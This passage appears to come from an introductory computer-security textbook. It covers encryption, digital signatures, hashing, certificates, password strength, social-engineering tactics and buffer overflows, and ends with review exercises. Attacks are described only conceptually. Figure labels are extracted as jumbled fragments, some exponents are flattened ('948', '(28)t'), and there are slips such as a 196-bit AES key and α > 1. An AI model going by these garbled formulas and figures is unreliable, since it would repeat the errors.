first might even seem to be impossible. In this section, we give an overview
of several fundamental cryptographic concepts.

3.1 Encryption

Traditionally, encryption is described as a means to allow two parties,
customarily called Alice and Bob, to establish confidential communication
over an insecure channel that is subject to eavesdropping. It has grown to
have other uses and applications than this simple scenario, but let us nev-
ertheless start with the scenario of Alice and Bob wanting to communicate
in a confidential manner, as this gives us a foundation upon which we can
build extensions later.

Suppose, then, that Alice has a message, M, that she wishes to commu-
nicate confidentially to Bob. The message M is called the plaintext, and it
is not to be transmitted in this form as it can be observed by other parties
while in transit. Instead, Alice will convert plaintext M to an encrypted
form using an encryption algorithm E that outputs a ciphertext C for M.
This encryption process is denoted by

C = E(M).

Ciphertext C will be what is actually transmitted to Bob. Once Bob has
received C, he applies a decryption algorithm D to recover the original
plaintext M from ciphertext C. This decryption process is denoted

M = D(C).

The encryption and decryption algorithms are chosen so that it is infeasible
for someone other than Alice and Bob to determine plaintext M from ci-
phertext C. Thus, ciphertext C can be transmitted over an insecure channel
that can be eavesdropped by an adversary.
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Cryptosystems

The decryption algorithm must use some secret information known to Bob,
and possibly also to Alice, but no other party. This is typically accomplished
by having the decryption algorithm use as an auxiliary input a secret num-
ber or string called decryption key. In this way, the decryption algorithm
itself can be implemented by standard, publicly available software and
only the decryption key needs to remain secret. Similarly, the encryption
algorithm uses as auxiliary input an encryption key, which is associated
with the decryption key. Unless it is infeasible to derive the decryption key
from the encryption key, the encryption key should be kept secret as well.
That is encryption in a nutshell.

But before Alice and Bob even start performing this encrypted com-
munication, they need to agree on the ground rules they will be using.
Specifically, a cryptosystem consists of seven components:

1. The set of possible plaintexts

2. The set of possible ciphertexts

3. The set of encryption keys

4. The set of decryption keys

5. The correspondence between encryption keys and decryption keys

6. The encryption algorithm to use

7. The decryption algorithm to use

Let c be a character of the classical Latin alphabet (which consists of 23
characters) and k be an integer in the range [−22, +22]. We denote with
s(c, k) the circular shift by k of character c in the Latin alphabet. The shift
is forward when k > 0 and backward for k < 0. For example, s(D, 3) = G,
s(R,−2) = P, s(Z, 2) = B, and s(C,−3) = Z. In the Caesar cipher, the set of
plaintexts and the set of ciphertexts are the strings consisting of characters
from the Latin alphabet. The set of encryption keys is {3}, that is, the set
consisting of number 3. The set of decryption keys is {−3}, that is, the set
consisting of number −3. The encryption algorithm consists of replacing
each character x in the plaintext with s(x, e), where e = 3 is the encryption
key. The decryption algorithm consists of replacing each character x in
the plaintext with s(x, d), where d = −3 is the decryption key. Note the
encryption algorithm is the same as the decryption algorithm and that the
encryption and decryption keys are one the opposite of the other.
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Modern Cryptosystems

Modern cryptosystems are much more complicated than the Caesar cipher,
and much harder to break. For example, the Advanced Encryption Stan-
dard (AES) algorithm, uses keys that are 128, 196, or 256 bits in length, so
that it is practically infeasible for an eavesdropper, Eve, to try all possible
keys in a brute-force attempt to discover the corresponding plaintext from
a given ciphertext. Likewise, the AES algorithm is much more convoluted
than a simple cyclic shift of characters in the alphabet, so we are not going
to review the details here.

Symmetric Encryption

One important property of the AES algorithm that we do note here, how-
ever, is that the same key K is used for both encryption and decryption.
Such schemes as this, which use the same key for encryption and de-
cryption, are called symmetric cryptosystems or shared-key cryptosystems,
since Alice and Bob have to both share the key K in order for them to
communicate a confidential message, M. A symmetric cryptosystem is
schematically illustrated in Figure 8.

Communication
Sender Recipient

channel
Sender Recipient

encrypt decrypt

ciphertext plaintext

plaintext

h d h dshared
secret

shared
secret

key key

AttackerAttacker
(eavesdropping)

Figure 8: A symmetric cryptosystem, where the same secret key, shared
by the sender and recipient, is used to encrypt and decrypt. An attacker
who eavesdrops the communication channel cannot decrypt the ciphertext
(encrypted message) without knowing the key.
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Symmetric Key Distribution

Symmetric cryptosystems, including the AES algorithm, tend to run fast,
but they require some way of getting the key K to both Alice and Bob
without an eavesdropper, Eve, from discovering it. Also, suppose that n
parties wish to exchange encrypted messages with each other in such a
way that each message can be seen only by the sender and recipient. Using
a symmetric cryptosystem, a distinct secret key is needed for each pair of
parties, for a total of n(n− 1)/2 keys, as illustrated in Figure 9.

shared
secret

shared
secret

shared
secret

shared
secret

shared
secret

n (n−1)/2 
keyskeys

shared
secret

Figure 9: Pairwise confidential communication among n users with a
symmetric cryptosystem requires n(n− 1)/2 distinct keys, each shared by

;
two users and kept secret from the other users.

Public-Key Encryption

An alternative approach to symmetric cryptosystems is the concept of a
public-key cryptosystem. In such a cryptosystem, Bob has two keys: a
private key, SB, which Bob keeps secret, and a public key, PB, which Bob
broadcasts widely, possibly even posting it on his web page. In order
for Alice to send an encrypted message to Bob, she need only obtain his
public key, PB, use that to encrypt her message, M, and send the result,
C = EPB(M), to Bob. Bob then uses his secret key to decrypt the message as

M = DSB(C).

A public-key cryptosystem is schematically illustrated in Figure 10.

(key) © Igor Nazarenko/
Shutterstock (avatars) © Moneca/Shutterstock
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CommunicationSender RecipientchannelSender Recipient

encrypt decrypt

ciphertextplaintext plaintext

plaintext

bli i tpublic
key

private
key

AttackerAttacker
(eavesdropping)( g)

Figure 10: In a public-key cryptosystem, the sender uses the public key of
the recipient to encrypt and the recipient uses its private key to decrypt.
An attacker who eavesdrops the communication channel cannot decrypt
the ciphertext (encrypted message) without knowing the private key.

The advantage of public-key cryptosystems is that they sidestep the
problem of getting a single shared key to both Alice and Bob. Also, only pri-
vate keys need to be kept secret, while public keys can be shared with any-
one, including the attacker. Finally, public-key cryptosystems support ef-
ficient pairwise confidential communication among n users. Namely, only
n distinct private/public key pairs are needed, as illustrated in Figure 11.
This fact represents a significant improvement over the quadratic number
of distinct keys required by a symmetric cryptosystem. For example, if we
have 1, 000 users, a public-key cryptosystem uses 1, 000 private/public key
pairs while a symmetric cryptosystem requires 499, 500 secret keys.

private privatep

public public

n key pairsn key pairs
public publicp p

private privatep

Figure 11: Pairwise confidential communication among n users with a
public-key cryptosystem requires n key pairs, one per user.
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Some Disadvantages of Public-Key Cryptography

The main disadvantage of public-key cryptosystems is that in all of the
existing realizations, such as the RSA and ElGamal cryptosystems, the
encryption and decryption algorithms are much slower than the those for
existing symmetric encryption schemes. In fact, the difference in running
time between existing public-key crytosystems and symmetric cryptosys-
tems disourages people for using public-key cryptography for interactive
sessions that use a lot of back-and-forth communication.

Also, public-key cryptosystems require in practice a key length that is
one order of magnitude larger than that for symmetric cryptosystems. For
example, RSA is commonly used with 2, 048-bit keys while AES is typically
used with 256-bit keys.

In order to work around these disadvantages, public-key cryptosystems
are often used in practice just to allow Alice and Bob to exchange a shared
secret key, which they subsequently use for communicating with a symmet-
ric encryption scheme, as shown in Figure 12.

CommunicationSender RecipientchannelSender Recipient

t d t
ciphertext

secret
k

secret
encrypt decrypt

ciphertextkey key

public key private keypublic key private key

h d h d
Attacker

shared
secret key

shared
secret keyAttacker

(eavesdropping)

encrypt decrypt

ciphertextplaintext plaintext

Figure 12: Use of a public-key cryptosystem to exchange a shared secret
key, which is subsequently employed for communicating with a symmetric
encryption scheme. The secret key is the “plaintext” message sent from the
sender to the recipient. © Igor Nazarenko/Shutterstock
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3.2 Digital Signatures

Another problem that is solved by public-key cryptosystems is the con-
struction of digital signatures. This solution is derived from the fact that in
typical public-key encryption schemes, we can reverse the order in which
the encryption and decryption algorithms are applied:

EPB(DSB(M)) = M.

That is, Bob can give as input to the decryption algorithm a message, M,
and his private key, SB. Applying the encryption algorithm to the resulting
output and Bob’s public key, which can be done by anyone, yields back
message M.

Using a Private Key for a Digital Signature

This might at first seem futile, for Bob is creating an object that anyone can
convert to message M, that is, anyone who knows his public key. But that
is exactly the point of a digital signature—only Bob could have done such
a decryption. No one else knows his secret key. So if Bob intends to prove
that he is the author of message M, he computes his personal decryption of
it as follows:

S = DSB(M).

This decryption S serves as a digital signature for message M. Bob
sends signature S to Alice along with message M. Alice can recover M
by encrypting signature S with Bob’s public key:

M = EPB(S).

In this way, Alice is assured that message M is authored by Bob and not
by any other user. Indeed, no one but Bob, who has private key SB, could
have produced such an object S, so that EPB(S) = M.

The only disadvantage of this approach is that Bob’s signature will
be at least as long as the plaintext message he is signing, so this exact
approach is not used in practice.
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3.3 Simple Attacks on Cryptosystems

Consider a cryptosystem for n-bit plaintexts. In order to guarantee unique
decryption, ciphertexts should have at least n bits or otherwise two or more
plaintexts would map to the same ciphertext. In cryptosystems used in
practice, plaintexts and ciphertexts have the same length. Thus, for a given
symmetric key (or private-public key pair), the encryption and decryption
algorithms define a matching among n-bit strings. That is, each plaintext
corresponds to a unique ciphertext, and vice versa.

Man-in-the-Middle Attacks

The straightforward use of a cryptosystem presented in Section 3.1, which
consists of simply transmitting the ciphertext, assures confidentiality. How-
ever, it does not guarantee the authenticity and integrity of the message if
the adversary can intercept and modify the ciphertext. Suppose that Alice
sends to Bob ciphertext C corresponding to a message M. The adversary
modifies C into an altered ciphertext C′ received by Bob. When Bob
decrypts C′, he obtains a message M′ that is different from M. Thus, Bob is
led to believe that Alice sent him message M′ instead of M. This man-in-
the-middle attack is illustrated in Figure 13.

CommunicationCommunication
channelSender Recipient

t d tencrypt decrypt

plaintext M plaintext M′

shared shared
ciphertext C

shared 
secret
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shared
secret
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ciphertext C′

key key

AttackerAttacker
(intercepting)

Figure 13: A man-in-the-middle attack where the adversary modifies the
ciphertext and the recipient decrypts the altered ciphertext into an incorrect
message. © Igor Nazarenko/Shutterstock
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Similarly, consider the straightforward use of digital signatures pre-
sented in Section 3.2. The attacker can modify the signature S created by
Bob into a different string S′ and send to Alice signature S′ together with the
encryption M′ of S′ using Bob’s public key. Note that M′ will be different
from the original message M. When Alice verifies the digital signature S′,
she obtains message M′ by encrypting S′. Thus, Alice is led to believe that
Bob has signed M′ instead of M.

Note that in the above attacks the adversary can arbitrarily alter the
transmitted ciphertext or signature. However, the adversary cannot choose,
or even figure out, what would be the resulting plaintext since he does not
have the ability to decrypt. Thus, the above attacks are effective only if
any arbitrary sequence of bits is a possible message. This scenario occurs,
for example, when a randomly generated symmetric key is transmitted
encrypted with a public-key cryptosystem.

Brute-Force Decryption Attack

Now, suppose instead that valid messages are English text of up to t
characters. With the standard 8-bit ASCII encoding, a message is a binary
string of length n = 8t. However, valid messages constitute a very small
subset of all the possible n-bit strings, as illustrated in Figure 14.

Ciphertexts 

n-bit strings 

Plaintexts 

n-bit strings 

English 

text 

Ciphertext of 

English text 

Figure 14: Natural-language plaintexts are a very small fraction of the set
of possible plaintexts. This fraction tends to zero as the plaintext length
grows. Thus, for a given key, it is hard for an adversary to guess a ciphertext
that corresponds to a valid message.
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Assume that we represent characters with the standard 8-bit ASCII
encoding and let n = 8 the number of bits in a t-byte array. We have that the
total number of possible t-byte arrays is (28)t = 2n. However, it is estimated
that each character of English text carries about 1.25 bits of information, i.e.,
the number of t-byte arrays that correspond to English text is(

21.25
)t

= 21.25t.

So, in terms of the bit length n, the number of n-bit arrays corresponding to
English text is approximately 20.16n.

More generally, for a natural language that uses an alphabet instead of
ideograms, there is a constant α, with 0 < α < 1, such that there are 2αn texts
among all n-bit arrays. The constant α depends on the specific language and
character-encoding scheme used. As a consequence, in a natural language
the fraction of valid messages out of all possible n-bit plaintexts is about

2αn

2n =
1

2(1−α)n
.

Thus, the fraction of valid messages tends rapidly to zero as n grows.
Note that this fraction represents the probability that a randomly selected
plaintext corresponds to meaningful text.

The above property of natural languages implies that it is infeasible for
an adversary to guess a ciphertext that will decrypt to a valid message or
to guess a signature that will encrypt to a valid message.

The previously mentioned property of natural languages has also im-
portant implications for brute-force decryption attacks, where an adversary
tries all possible decryption keys and aims at determining which of the
resulting plaintexts is the correct one. Clearly, if the plaintext is an arbitrary
binary string, this attack cannot succeed, as there is no way for the attacker
to distinguish a valid message. However, if the plaintext is known to be text
in a natural language, then the adversary hopes that only a small subset of
the decryption results (ideally just a single plaintext) will be a meaningful
text for the language. Some knowledge about the possible message being
sent will then help the attacker pinpoint the correct plaintext.

We know that for some constant α > 1, there are 2αn valid text messages
among the 2n possible plaintexts. Let k be the length (number of bits) of the
decryption key. For a given ciphertext, there are 2k possible plaintexts, each
corresponding to a key. From the previous discussion, each such plaintext
is a valid text message with probability 1

2(1−α)n . Hence, the expected number
of plaintexts corresponding to valid text messages is

2k

2(1−α)n
.
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As the key length k is fixed, the above number tends rapidly to zero as
the ciphertext length n grows. Also, we expect that there is a unique valid
plaintext for the given ciphertext when

n =
k

1− α
.

The above threshold value for n is called the unicity distance for the given
language and key length. For the English language and the 256-bit AES
cryptosystem, the unicity distance is about 304 bits or 38 ASCII-encoded
characters. This is only half a line of text.

From the above discussion, we conclude that brute-force decryption is
likely to succeed for messages in natural language that are not too short.
Namely, when a key yields a plaintext that is a meaningful text, the attacker
has probably recovered the original message.

3.4 Cryptographic Hash Functions

To reduce the size of the message that Bob has to sign, we often use
cryptographic hash functions, which are checksums on messages that have
some additional useful properties. One of the most important of these
additional properties is that the function be one-way, which means that
it is easy to compute but hard to invert. That is, given M, it should be
relatively easy to compute the hash value, h(M). But given only a value y,
it should be difficult to compute a message M such that y = h(M). Modern
cryptographic hash functions, such as SHA-256, are believed to be one-way
functions, and result in values that are only 256 bits long.

Applications to Digital Signatures and File System Integrity

Given a cryptographic hash function, we can reduce the time and space
needed for Bob to perform a digital signature by first having him hash the
message M to produce h(M) and then have him sign this value, which
is sometimes called the digest of M. That is, Bob compute the following
signature:

S = ESB(h(M)).

Now to verify signature S on a message M, Alice computes h(M), which is
easy, and then checks that

DPB(S) = h(M).

Signing a cryptographic digest of the message not only is more efficient
than signing the message itself, but also defends against the man-in-the-
middle attack described in Section 3.3. Namely, thanks to the one-way
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property of the cryptographic hash function h, it is no longer possible for
the attacker to forge a message-signature pair without knowledge of the
private key. The encryption of the forged signature S′ now yields a digest
y′ for which the attacker needs to find a corresponding message M′ such
that y′ = h(M′). This computation is unfeasible because h is one-way.

In addition, cryptographic hash functions also have another property
that is useful in the context of digital signatures—they are collision resis-
tant—which implies that, given M, it is difficult to find a different message,
M′, such that h(M) = h(M′). This property makes the forger’s job even
more difficult, for not only it is hard for him to fake Bob’s signature on any
message, it is also hard for him, given a message M and its signature S
created by Bob, to find another message, M′, such that S is also a signature
for M′.

Another application of cryptographic hash functions in secure com-
puter systems is that they can be used to protect the integrity of critical files
in an operating system. If we store the cryptographic hash value of each
such file in protected memory, we can check the authenticity of any such file
just by computing its cryptographic hash and comparing that value with
the one stored in secure memory. Since such hash functions are collision
resistant, we can be confident that if the two values match it is highly likely
that the file has not been tampered with. In general, hash functions have
applications any time we need a compact digest of information that is hard
to forge.

Message Authentication Codes

A cryptographic hash function h can be used in conjunction with a secret
key shared by two parties to provide integrity protection to messages
exchanged over an insecure channel, as illustrated in Figure 15. Suppose
Alice and Bob share a secret key K. When Alice wants to send a message
M to Bob, she computes the hash value of the key K concatenated with
message M:

A = h(K||M).

This value A is called a message authentication code (MAC). Alice then
sends the pair (M, A) to Bob. Since the communication channel is insecure,
we denote with (M′, A′) the pair received by Bob. Since Bob knows the
secret K, he computes the authentication code for the received message M
himself:

A′′ = h(K||M′).

If this computed MAC A′′ is equal to the received MAC A′, then Bob is
assured that M′ is the message sent by Alice, i.e., A′′ = A′ implies M′ = M.
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Figure 15: Using a message authentication code to verify the integrity of a
message.

Consider an attacker who alters the message and MAC while in transit.
Since the hash function is one-way, it is infeasible for the attacker to recover
the key k from the MAC A = h(K||M) and the message M sent by Alice.
Thus, the attacker cannot modify the message and compute a correct MAC
A′ for the modified message M′.

3.5 Digital Certificates

As illustrated in Figure 12, public-key cryptography solves the problem
of how to get Alice and Bob to share a common secret key. That is, Alice
can simply encrypt secret key K using Bob’s public key, PB, and send the
ciphertext to him. But this solution has a flaw: How does Alice know that
the public key, PB, that she used is really the public key for Bob? And if
there are lots of Bobs, how can she be sure she used the public key for the
right one?

Fortunately, there is a fix to this flaw. If there is a trusted authority who
is good at determining the true identities of people, then that authority can
digitally sign a statement that combines each person’s identity with their
public key. That is, this trusted authority could sign a statement like the
following:

“The Bob who lives on 11 Main Street in Gotham
City was born on August 4, 1981, and has email address
bob@gotham.com, has the public key PB, and I stand by this
certification until December 31, 2011.”

© Igor Nazarenko/Shutterstock

Introduction

37



Such a statement is called a digital certificate so long as it combines
a public key with identifying information about the subject who has that
public key. The trusted authority who issues such a certificate is called a
certificate authority (CA).

Now, rather than simply trusting on blind faith that PB is the public key
for the Bob she wants to communicate with, Alice needs only to trust the
certificate authority. In addition, Alice needs to know the public key for
the CA, since she will use that to verify the CA’s signature on the digital
certificate for Bob. But there are likely to be only a small number of CAs, so
knowing all their public keys is a reasonable assumption. In practice, the
public keys of commonly accepted CAs come with the operating system.
Since the digital certificate is strong evidence of the authenticity of Bob’s
public key, Alice can trust it even if it comes from an unsigned email
message or is posted on a third-party web site.

For example, the digital certificate for a web site typically includes the
following information:

• Name of the certification authority (e.g., Thawte).

• Date of issuance of the certificate (e.g., 1/1/2009).

• Expiration date of the certificate (e.g., 12/31/2011).

• Address of the website (e.g., mail.google.com).

• Name of the organization operating the web site (e.g., “Google, Inc.”).

• Public key used of the web server (e.g., an RSA 1, 024-bit key).

• Name of the cryptographic hash function used (e.g., SHA-256).

• Digital signature.

In fact, when an Internet browser “locks the lock” at a secure web
site, it is doing so based on a key exchange that starts with the browser
downloading the digital certificate for this web server, matching its name
to a public key. Thus, one approach to defend against a phishing attack for
encrypted web sites is to check that the digital certificate contains the name
of the organization associated with the website.

There are a number of other cryptographic concepts, including such
things a zero-knowledge proofs, secret sharing schemes, and broadcast
encryption methods, but the topics covered above are the most common
cryptographic concepts used in computer security applications.
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4 Implementation and Usability Issues

In order for computer security solutions to be effective, they have to be
implemented correctly and used correctly. Thus, when computer security
solutions are being developed, designers should keep both the program-
mers and users in mind.

4.1 Efficiency and Usability

Computer security solutions should be efficient, since users don’t like
systems that are slow. This rule is the prime justification, for example, for
why a public-key cryptosystem is often used for a one-time exchange of a
secret key that is then used for communication with a symmetric encryption
scheme.

An Example Scenario Involving Usability and Access Control

Efficiency and ease of use are also important in the context of access control.
Many systems allow only administrators to make changes to the files that
define access control rights, roles, or entities. So, for example, it is not
possible in some operating systems, including several Linux versions, for
users to define the access control rights for their own files beyond coarse-
grained categories such as “everyone” and “people in my group.” Because
of this limitation, it is actually a cumbersome task to define a new work
group and give access rights to that group. So, rather than going through
the trouble of asking an administrator to create a new group, a user may just
give full access rights to everyone, thus compromising data confidentiality
and integrity.

For example, suppose a group of students decides to work on a software
project together for a big schoolwide contest. They are probably going
to elect a project leader and have her create a subdirectory of her home
directory for all the project code to reside. Ideally, it should be easy for the
leader to define the access control for this directory and allow her partners
to have access to it, but no one else. Such control is often not possible
without submitting a request to an overworked system administrator, who
may or may not respond to such requests from students. So, what should
the project leader do?
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Possible Solutions

One solution is to have the leader maintain the reference version of the code
in the project directory and require the team members to email her all their
code updates. On receipt of an update from a team member, the leader
would then perform the code revisions herself on the reference version of
the code and would distribute the modified files to the rest of the team.
This solution provides a reasonable level of security, as it is difficult (though
not impossible) to intercept email messages. However, the solution is very
inefficient, as it implies a lot of work for the leader who would probably
regret being selected for this role.

Another possibility is for the project leader to take an easy way out by
hiding the project directory somewhere deep in her home directory, making
that directory be accessible by all the users in the system, and hoping
that none of the competing teams will discover this unprotected directory.
This approach is, in fact, an example of security by obscurity, which is
the approach of deriving security from a fact that is not generally known
rather than employing sound computer security principles (as discussed in
Sections 1.1 and 1.2). History has taught us again and again, however,
security by obscurity fails miserably. Thus, the leader of our software
is forced into choosing between the lesser of two evils, rather than
given the tools to build a secure solution to her problem.

Users should clearly not have to make such choices between security
and efficiency, of course. But this requirement implies that system designers
need to anticipate how their security decisions will impact users. If doing
the safe thing is too hard, users are going to find a workaround that is easy
but probably not very secure.

Let us now revisit our example of the school programming team. The
most recent versions of Linux and Microsoft Windows allow the owner of
a folder to directly define an access control list for it (see Section 2.2),
without administrator intervention. Also, by default such permissions are
automatically applied to all the files and subfolders created within the
folder. Thus, our project leader could simply add an access control list
to the project folder that specifies read, write, and execute rights for each
of the team members. Team members can now securely share the project
folder without the risk of snooping by competing teams. Also, the project
leader needs to create this access control list only once, for the project folder.
Any newly added files and subfolders will automatically inherit this access
control list. This solution is both efficient and easy to use.

that
team
being
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4.2 Passwords

One of the most common means for authenticating people in computer sys-
tems is through the use of usernames and passwords. Even systems based
on cryptographic keys, physical tokens, and biometrics often augment the
security of these techniques with passwords. For example, the secret key
used in a symmetric cryptosystem may be stored on the hard drive in
encrypted form, where the decryption key is derived from a password. In
order for an application to use the secret key, the user will have to enter
her password for the key. Thus, a critical and recurring issue in computer
security circles is password security.

Ideally, passwords should be easy to remember and hard to guess. Un-
fortunately, these two goals are in conflict with each other. Passwords that
are easy to remember are things like English words, pet names, birthdays,
anniversaries, and last names. Passwords that are hard to guess are random
sequences of characters that come from a large alphabet, such as all the
possible characters that can be typed on a keyboard, including lowercase
and uppercase letters, numbers, and symbols. In addition, the longer a
password is used the more it is at risk. Thus, some system administrators
require that users frequently change their passwords, which makes them
even more difficult to remember.

Dictionary Attack

The problem with the typical easy-to-remember password is that it belongs
to a small set of possibilities. Moreover, computer attackers know all these
passwords and have built dictionaries of them. For example, for the English
language, there are less than 50,000 common words, 1,000 common human
first names, 1,000 typical pet names, and 10,000 common last names. In
addition, there are only 36,525 birthdays and anniversaries for almost all
living humans on the planet, that is, everyone who is 100 years old or
younger. So an attacker can compile a dictionary of all these common
passwords and have a file that has fewer than 100,000 entries.

Armed with this dictionary of common passwords, one can perform an
attack that is called, for obvious reasons, a dictionary attack. If an attcker
can try the words in his dictionary at the full speed of a modern computer,
he can attack a password-protected object and break its protections in just
a few minutes. Specifically, if a computer can test one password every
millisecond, which is probably a gross overestimate for a standard com-
puter with a clock speed of a gigahertz, then it can complete the dictionary
attack in 100 seconds, which is less than 2 minutes. Indeed, because of
this risk, many systems introduce a multiple-second delay before reporting
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password failures and some systems lock out users after they have had a
number of unsuccessful password attempts above some threshold.

Secure Passwords

Secure passwords, on the other hand, take advantage of the full potential
of a large alphabet, thus slowing down dictionary attacks. For instance,
if a system administrator insists on each password being an arbitrary
string of at least eight printable characters that can by typed on a typical
American keyboard, then the number of potential passwords is at least
948 = 6 095 689 385 410 816, that is, at least 6 quadrillion. Even if a computer
could test one password every nanosecond, which is about as fast as any
computer could, then it would take, on average, at least 3 million seconds
to break one such password, that is, at least 1 month of nonstop attempts.

The above back-of-the-envelope calculation could be the reason why
paranoid system administrators ask users to change their passwords every
month. If each attempt takes at least a microsecond, which is more realistic,
then breaking such a password would take at least 95 years on average. So,
realistically, if someone can memorize a complex password, and never leak
it to any untrustworthy source, then it is probably good for a long time.

There are several tricks for memorizing a complex password. Needless
to say in a book on computer security, one of those ways is definitely not
writing the password down on a post-it note and sticking it on a computer
screen! A better way is to memorize a silly or memorable sentence and then
take every first letter of each word, capitalizing some, and then folding in
some special characters. For example, a user, who we will call “Mark,”
could start with the sentence

“Mark took Lisa to Disneyland on March 15,”

which might be how Mark celebrated his anniversary with Lisa. Then this
sentence becomes the string

MtLtDoM15,

which provides a pretty strong password. However, we can do even better.
Since a t looks a lot like the plus sign, Mark can substitute “+” for one of the
t’s, resulting in the password

MtL+DoM15,

which is even stronger. If Mark is careful not to let this out, this password
could last a lifetime.
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4.3 Social Engineering

The three B’s of espionage—burglary, bribery, and blackmail—apply
equally well to computer security. Add to these three techniques good old
fashion trickery and we come up with one of the most powerful attacks
against computer security solutions—social engineering. This term refers
to techniques involving the use of human insiders to circumvent computer
security solutions.

Pretexting

A classic example of a social engineering attack, for instance, involves an
attacker, Eve, calling a helpdesk and telling them that she has forgotten her
password, when she is actually calling about the account of someone else,
say, someone named “Alice.” The helpdesk agent might even ask Eve a
few personal questions about Alice, which, if Eve has done her homework,
she can answer with ease. Then the courteous helpdesk agent will likely
reset the password for Alice’s account and give the new password to Eve,
thinking that she is Alice. Even counting in the few hours that it takes Eve to
discover some personal details about Alice, such as her birthday, mother’s
maiden name, and her pet’s name, such an attack works faster than a brute-
force password attack by orders of magnitudes, and it doesn’t require any
specialized hardware or software. Such an attack, which is based on an
invented story or pretext, is known as pretexting.

Baiting

Another attack, known as baiting, involves using some kind of “gift” as a
bait to get someone to install malicious software. For example, an attacker
could leave a few USB drives in the parking lot of a company with an
otherwise secure computer system, even marking some with the names of
popular software programs or games. The hope is that some unsuspecting
employee will pick up a USB drive on his lunch break, bring it into the
company, insert it into an otherwise secure computer, and unwittingly
install the malicious software.

Quid Pro Quo

Yet another social engineering attack is the quid pro quo, which is Latin
for “something for something.” For example, an attacker, “Bob,” might
call a victim, “Alice,” on the phone saying that he is a helpdesk agent who
was referred to Alice by a coworker. Bob then asks Alice if she has been
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having any trouble with her computer or with her company’s computer
system in general. Or he could ask Alice if she needs any help in coming
up with a strong password now that it is time to change her old one. In
any case, Bob offers Alice some legitimate help. He may even diagnose
and solve a problem she has been having with her computer. This is the
“something” that Bob has now offered Alice, seemingly without asking for
anything in return. At that point, Bob then asks Alice for her password,
possibly offering to perform future fixes or offering to do an evaluation of
how strong her password is. Because of the social pressure that is within
each of us to want to return a favor, Alice may feel completely at ease at this
point in sharing her password with Bob in return for his “free” help. If she
does so, she will have just become a victim of the quid pro quo attack.

To increase the chances of succeeding in his attack, Bob may use a voice-
over-IP (VoIP) telephone service that allows for caller-ID spoofing. Thus,
he could supply as his caller-ID the phone number and name of the actual
helpdesk for Alice’s company, which will increase the likelihood that Alice
will believe Bob’s story. This is an instance of another type of attack called
vishing, which is short for VoIP phishing.

In general, social engineering attacks can be very effective methods to
circumvent strong computer security solutions. Thus, whenever a system
designer is implementing an otherwise secure system, he or she should
keep in mind the way that people will interact with that system and the
risks it may have to social engineering attacks.

4.4 Vulnerabilities from Programming Errors

The programmers should be given clear instructions on how to produce the
secure system and a formal description of the security requirements that
need to be satisfied. Also, an implementation should be tested against all
the security requirements. Special attention must be paid to sections of the
program that handle network communication and process inputs provided
by users. Indeed, any interaction of the program with the external world
should be examined to guarantee that the system will remain in a secure
state even if the external entity communicating with the system performs
unexpected actions.

There are many examples of systems that enter into a vulnerable state
when a user supplies a malformed input. For example, the classic buffer
overflow attack (see Figure 16) injects code written by a malicious user
into a running application by exploiting the common programming error
of not checking whether an input string read by the application is larger
than the variable into which it is stored (the buffer). Thus, a large input
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provided by the attacker can overwrite the data and code of the application,
which may result in the application performing malicious actions specified
by the attacker. Web servers and other applications that communicate over
the Internet have been often attacked by remote users by exploiting buffer
overflow vulnerabilities in their code.

malicious 
code name buffer

application
code

enter nameenter name

web server

code

web server

Attacker

(a)

name buffer

malicious 
code
li tiapplication 

code

web serverweb server

Attacker
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Figure 16: A buffer overflow attack on a web server. (a) A web server
accepts user input from a name field on a web page into an unchecked
buffer variable. The attacker supplies as input some malicious code. (b) The
malicious code read by the server overflows the buffer and part of the
application code. The web server now runs the malicious code.
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5 Exercises

For help with exercises, please visit securitybook.net.

Reinforcement

R-1 Compare and contrast the C.I.A. concepts for information security
with the A.A.A. concepts.

R-2 What is the ciphertext in an English version of the Caesar cipher
for the plaintext “ALL ZEBRAS YELP.”

R-3 Explain why someone need not worry about being a victim of a
social engineering attack through their cell phone if they are inside
of a Faraday cage.

R-4 What are some of the techniques that are used to achieve confiden-
tiality?

R-5 What is the most efficient technique for achieving data integrity?

R-6 With respect to the C.I.A. and A.A.A. concepts, what risks are
posed by spam?

R-7 With respect to the C.I.A. and A.A.A. concepts, what risks are
posed by Trojan horses?

R-8 With respect to the C.I.A. and A.A.A. concepts, what risks are
posed by computer viruses?

R-9 With respect to the C.I.A. and A.A.A. concepts, what risks are
posed by packet sniffers, which monitor all the packets that are
transmitted in a wireless Internet access point?

R-10 With respect to the C.I.A. and A.A.A. concepts, what risks are
posed by someone burning songs from an online music store onto
a CD, then ripping those songs into their MP3 player software sys-
tem and making dozens of copies of these songs for their friends?

R-11 With respect to the C.I.A. and A.A.A. concepts, what risks are
posed by someone making so many download requests from an
online music store that it prevents other users from being able to
download any songs?

R-12 Compare and contrast symmetric encryption with public-key en-
cryption, including the strengths and weaknesses of each.

R-13 List at least three security risks that could arise when someone has
their laptop stolen.
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R-14 Suppose the author of an online banking software system has
programmed in a secret feature so that program emails him the
account information for any account whose balance has just gone
over $10,000. What kind of attack is this and what are some of its
risks?

R-15 Suppose an Internet service provider (ISP) has a voice over IP
(VoIP) telephone system that it manages and sells. Suppose further
that this ISP is deliberately dropping 25% of the packets used in
its competitors VoIP system when those packets are going through
this ISP’s routers. What kind of an attack is this?

R-16 Give an example of the false sense of security that can come from
using the “security by obscurity” approach.

R-17 The English language has an information content of about 1.25 bits
per character. Thus, when using the standard 8-bit ASCII encoding,
about 6.75 bits per character are redundant. Compute the probabil-
ity that a random array of t bytes corresponds to English text.

R-18 Suppose that a symmetric cryptosystem with 32-bit key length is
used to encrypt messages written in English and encoded in ASCII.
Given that keys are short, an attacker is using a brute-force exhaus-
tive search method to decrypt a ciphertext of t bytes. Estimate the
probability of uniquely recovering the plaintext corresponding to
the ciphertext for the following values of t: 8, 64, and 512.

R-19 Suppose you could use all 128 characters in the ASCII character
set in a password. What is the number of 8-character passwords
that could be constructed from such a character set? How long, on
average, would it take an attacker to guess such a password if he
could test a password every nanosecond?

R-20 Doug’s laptop computer was just infected with some malicious
software that uses his laptop’s built-in camera to take a video each
time it senses movement and then upload the video to a popular
video-sharing web site. What type of attack does this involve and
what concepts of computer security does it violate?

R-21 The Honyota Corporation has a new car out, the Nav750, which
transmits its GPS coordinates to the Honyota Corporation comput-
ers every second. An owner can then locate their car any time, just
by accessing this site using a password, which is a concatenation
of their last name and favorite ice cream flavor. What are some
security concerns for the Nav750? What are some privacy concerns,
say, if the car’s owner is the spouse, parent, or employer of the car’s
principle driver?
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R-22 The HF Corporation has a new refrigerator, the Monitator, which
has a camera that takes a picture of the contents of the refrigerator
and uploads it to the HF Corporation’s web site. The Monitator’s
